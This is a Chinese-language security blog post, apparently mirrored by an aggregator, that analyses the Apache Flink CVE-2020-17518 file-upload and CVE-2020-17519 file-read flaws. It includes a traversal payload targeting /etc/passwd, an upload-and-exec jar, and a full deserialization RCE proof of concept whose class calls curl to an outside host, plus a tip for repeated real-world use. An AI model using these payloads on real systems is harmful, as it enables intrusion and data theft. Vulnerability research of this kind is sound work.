Apache Flink CVE-2020-17518/17519 读写反序列化
source link: https://y4er.com/post/apache-flink-cve-2020-17518-17519-rce/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Apache Flink CVE-2020-17518/17519 读写反序列化
又是URL编码的问题
CVE-2020-17519 任意读文件
image.png
原理在于两次url解码
org.apache.flink.runtime.rest.handler.router.RouterHandler#channelRead0
RouterHandler类是路由核心类,用于处理路由的整体交互走向。QueryStringDecoder类是自实现的解码类,在qsd.path()
中首次进行url解码。
image.png
image.png
decodeComponent()进行解码,大致逻辑就是截取%
之后的内容进行解码
image.png
解码之后为/jobmanager/logs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
image.png
在request解析完method、path和参数之后,进行this.router.route()
。
其中this.router存放了所有的路由,通过http method进行键值对匹配。意思就是GET请求对应什么路由,全拿出来。
image.png
在this.router.route()
中router是取出来所有的GET请求的路由
image.png
decodePathTokens()以/
进行路径分割,并进行了第二次url解码
image.png
拿到tokens之后进行router.route(path, path, queryParameters, tokens)
image.png
在pattern.match(pathTokens, pathParams)
这个方法中是通过已知的GET method的路由遍历进行正则匹配(一句话就是匹配路由)。
其中pattern的值是jobmanager/logs/:filename
,其中:filename
是变量值。
image.png
而我们的payload满足了这个路由/jobmanager/logs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
,将..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
作为filename的值。
最终返回了JobManagerCustomLogHandler
类的一个实例作为resp,而filename直接从token取出
image.png
两次url编码之后../
目录穿越,造成任意文件读取。
image.png
简单粗暴,通过getName()获取文件名
image.png
CVE-2020-17518 任意文件上传
所有的url请求都会经过Handler进行处理,路由随意即可触发。
image.png
image.png
文件上传位于org.apache.flink.runtime.rest.FileUploadHandler#channelRead0
中。
image.png
其中fileUpload和filename均可控,造成跨目录
image.png
自身功能rce
这个鬼东西本身无鉴权,并且可以通过上传jar包执行,传个jar包上去runtime.exec就行。
package com.test;
import java.io.IOException;
public class Main {
public static void main(String[] args) throws IOException {
// write your code here
Runtime.getRuntime().exec(new String[]{"bash","-c","touch /tmp/ggg"});
}
}
image.png
image.png
反序列化RCE
还有一种值得学习的反序列化RCE的方式。
org.apache.flink.runtime.rest.handler.job.JobSubmitHandler#loadJobGraph
直接将上传文件进行反序列化。当以post方式访问到/v1/jobs
时,会路由到此。
image.png
根据官方文档本地构造请求包
<form name="form" action="http://172.16.1.137:8081/v1/jobs" method="post" enctype ="multipart/form-data">
<input type="file" name="file_0">
<input type="text" name="request" value="">
<input type="submit" value="提交">
</form>
其中request值为json数据,指定从上传数据包中取得反序列化的对象
{
"jobGraphFileName": "a.ser"
}
image.png
构造请求这个地方卡了我半天,自己真是个傻逼,不知道看文档。
然后再看org.apache.flink.api.common.state.StateDescriptor#readObject
其自实现了反序列化流程。
image.png
继承TypeSerializer有很多实现,其中org.apache.flink.api.java.typeutils.runtime.PojoSerializer#deserialize(org.apache.flink.core.memory.DataInputView)
存在Class.forname第二个参数为true,可以静态代码块执行。
那么转变思路即为先上传恶意class到classpath中,然后通过反序列化触发static代码块的rce。
classpath如图
image.png
将编译好的Exec.class上传到bin或者lib目录下,反序列化触发就行了。
import java.io.IOException;
public class Exec {
static {
try {
long l = System.currentTimeMillis();
Runtime.getRuntime().exec(new String[]{"bash", "-c", "curl http://172.16.1.1/?id=" + l});
} catch (IOException e) {
e.printStackTrace();
}
}
}
构造poc的时候在org.apache.flink.api.common.state.StateDescriptor#readObject
中首先要绕过hasDefaultValue。我用的是ValueStateDescriptor类来初始化赋值。
image.png
直接贴poc吧。
package com.test;
import org.apache.flink.api.common.ExecutionConfig;
import org.apache.flink.api.common.state.StateDescriptor;
import org.apache.flink.api.common.state.ValueStateDescriptor;
import org.apache.flink.api.common.typeutils.TypeSerializer;
import org.apache.flink.api.java.typeutils.runtime.PojoSerializer;
import org.apache.flink.core.memory.DataOutputSerializer;
import java.io.*;
import java.lang.reflect.Field;
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
ExecutionConfig config = new ExecutionConfig();
Field[] fields = new Field[0];
TypeSerializer<?>[] typeSerializers = new TypeSerializer[0];
PojoSerializer<PojoSerializer> serializer = new PojoSerializer<PojoSerializer>(PojoSerializer.class, typeSerializers, fields, config);
Class<?> exec = Class.forName("Exec");
Object o = exec.newInstance();
StateDescriptor stateDescriptor = new ValueStateDescriptor("Asd", serializer, o);
DataOutputSerializer dataOutputSerializer = new DataOutputSerializer(1);
ObjectOutputStream objOutput = new ObjectOutputStream(new FileOutputStream("a.ser"));
objOutput.writeObject(stateDescriptor);
objOutput.close();
ObjectInputStream objInput = new ObjectInputStream(new FileInputStream("a.ser"));
objInput.readObject();
objInput.close();
}
}
将a.ser的内容放到http请求的file_0字段
image.png
收到curl请求
image.png
实战中注意的是Class.forname()
一个类只能被加载一次,第二次rce的时候需要更换Exec的类名。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK